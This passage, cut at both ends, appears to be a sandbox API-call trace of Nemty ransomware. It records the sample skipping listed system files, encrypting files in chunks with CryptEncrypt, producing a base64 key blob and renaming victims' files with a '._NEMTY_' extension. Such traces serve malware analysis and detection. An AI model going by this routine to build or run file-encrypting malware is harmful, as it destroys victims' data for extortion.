lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.617] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.636] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.647] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.647] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0070.647] CloseHandle (hObject=0xffffffff) returned 0 [0070.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0070.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0070.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0070.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0070.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0070.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0070.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0070.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0070.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0070.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0070.648] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0070.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0070.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0070.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0070.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0070.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0070.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0070.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0070.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0070.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0070.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.648] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.648] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0070.648] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0070.648] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="...") returned 1 [0070.648] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0070.648] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0070.648] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="rsa") returned -1 [0070.648] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0070.648] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0070.648] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0070.648] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0070.649] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0070.649] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0070.649] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0070.649] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0070.649] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0070.649] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0070.649] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0070.649] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0070.649] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0070.649] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="programdata") returned -1 [0070.649] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="appdata") returned 1 [0070.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0070.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0070.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0070.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0070.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0070.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0070.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0070.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0070.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0070.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0070.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0070.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0070.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0070.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0070.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0070.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0070.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0070.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0070.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0070.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0070.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0070.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0070.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94368 [0070.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0070.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0070.650] Sleep (dwMilliseconds=0x5) [0070.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xddc1f810, dwHighDateTime=0x1d561e7)) [0070.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xddc1f810, dwHighDateTime=0x1d561e7)) [0070.650] GetLastError () returned 0x5 [0070.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0070.650] GetLastError () returned 0x5 [0070.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0070.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0070.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0070.650] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0070.650] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0070.651] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0070.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0070.651] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="/Y1vehrhsOjJkC3d7zh/0ObDw8dTgL0eJzpGxtI/7W8ZhteJzj1/Eh3AgtHtbElc\r\nSixWH7eqjmG/g8s0i142cToBVvtVLuQ6i6ZJCwqtBL34LhQnYYU8O8kFRA1eV/kA\r\n3bFzBAKnZyen5U3tVR6sIe83nJBs00XMhZ2gqF95nFZupoRNLHjjXoOk9P/mZDfz\r\nNH2KV9MRy3Jgfo01y+9aMZNppUsOCtp1ynLvOZ/INlZnXP7q5TPmTcKkS90quHps\r\ncW9njJRd8BbPQWXrSBEbLJbqOlsNM8H8xfrOGn6l8/8m1PccsnlDmhRarCj+NvdC\r\njy/hQ5+tkc48QbAJqbj3Zw==\r\n", pcchString=0x653e91c) returned 1 [0070.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0070.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0070.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0070.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0070.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0070.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0070.651] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0070.651] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0070.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0070.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.670] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.679] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.679] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.697] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.706] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.706] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.716] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.716] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.734] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.743] WriteFile (in: hFile=0xffffffff, 